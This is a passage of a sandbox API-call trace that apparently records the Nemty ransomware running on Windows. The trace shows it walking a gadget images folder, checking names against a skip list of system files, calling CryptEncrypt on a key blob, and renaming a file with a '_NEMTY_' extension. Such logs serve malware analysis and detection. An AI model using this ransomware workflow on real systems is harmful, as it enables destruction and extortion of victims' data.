0x4f9ecb8 [0144.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_Off.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonUp_Off.png", lpUsedDefaultChar=0x0) returned 16 [0144.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_Off.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0144.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_Off.png", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonUp_Off.png", lpUsedDefaultChar=0x0) returned 16 [0144.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0144.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0144.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401c8 [0144.515] Sleep (dwMilliseconds=0x5) [0144.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9c906b0, dwHighDateTime=0x1d561e8)) [0144.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9c906b0, dwHighDateTime=0x1d561e8)) [0144.516] GetLastError () returned 0x5 [0144.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0144.516] GetLastError () returned 0x5 [0144.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0144.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0144.516] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0144.516] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0144.517] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0144.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0144.517] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="zFsqNtbE0jv4Fa/OY5jY2WJan+OGvT0asrvZtbjzZyCLgXRf8xaedyL2FZxPGorb\r\ndzneqzcDoUpMwtnKTVMiISa/WNx+dmRVrRKt//IpvUkmK6gy5u7XA3UWuN1kJbwl\r\nPmUTzQXLXrWThLgUAhiEDlVAi961OXpip9+naoP0YAlO21RGQwfvJ3hiQLaUTMIP\r\n8pVXm4MjJ2gZtt2FKZ8IVTjp8x1V+BSZPzR75fR24o6KZ2KJw56+zyBCeACLg6ja\r\ntNviupb+4vFjTvk772dfA1dzV8Xv3umjDB6gdeFZLX8ECuGvb1M29z72IJ66q/Z1\r\nN6JEFy0rixkQlKo6T9Dkjw==\r\n", pcchString=0x653e91c) returned 1 [0144.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0144.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0144.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0144.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0144.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0144.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0144.517] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_Off.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_off.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.517] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0144.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0144.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.517] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.536] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.545] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.545] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.554] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.554] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.563] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.563] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.591] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.610] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.616] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0144.622] CloseHandle (hObject=0xffffffff) returned 0 [0144.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0144.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0144.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0144.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0144.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0144.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0144.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0144.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0144.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0144.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0144.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_Off.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_off.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_Off.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_off.png._nemty_kgobjgd_")) returned 0 [0144.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0144.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0144.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0144.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0144.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0144.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0144.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0144.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.623] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f10bb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f10bb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce4ec89, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="buttonUp_On.png", cAlternateFileName="")) returned 1 [0144.623] lstrcmpiW (lpString1="buttonUp_On.png", lpString2=".") returned 1 [0144.623] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="..") returned 1 [0144.623] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="...") returned 1 [0144.623] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="windows") returned -1 [0144.623] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="$RECYCLE.BIN") returned 1 [0144.623] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="rsa") returned -1 [0144.623] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="NTDETECT.COM") returned -1 [0144.623] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="ntldr") returned -1 [0144.623] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="MSDOS.SYS") returned -1 [0144.623] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="IO.SYS") returned -1 [0144.623] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="boot.ini") returned 1 [0144.623] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="boot.ini") returned 1 [0144.624] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="AUTOEXEC.BAT") returned 1 [0144.624] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="ntuser.dat") returned -1 [0144.624] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="desktop.ini") returned -1 [0144.624] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="CONFIG.SYS") returned -1 [0144.624] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="RECYCLER") returned -1 [0144.624] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="BOOTSECT.BAK") returned 1 [0144.624] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="bootmgr") returned 1 [0144.624] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="programdata") returned -1 [0144.624] lstrcmpiW (lpString1="buttonUp_On.png", lpString2="appdata") returned 1 [0144.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.624] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_On.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0144.624] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_On.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonUp_On.png", lpUsedDefaultChar=0x0) returned 15 [0144.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.624] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_On.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0144.624] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_On.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonUp_On.png", lpUsedDefaultChar=0x0) returned 15 [0144.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.624] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_On.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0144.624] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_On.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonUp_On.png", lpUsedDefaultChar=0x0) returned 15 [0144.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.624] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_On.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0144.624] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_On.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonUp_On.png", lpUsedDefaultChar=0x0) returned 15 [0144.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401c8 [0144.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0144.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0144.624] Sleep (dwMilliseconds=0x5) [0144.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9d9b050, dwHighDateTime=0x1d561e8)) [0144.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9d9b050, dwHighDateTime=0x1d561e8)) [0144.625] GetLastError () returned 0x5 [0144.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0144.625] GetLastError () returned 0x5 [0144.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0144.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.625] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0144.625] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0144.626] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | 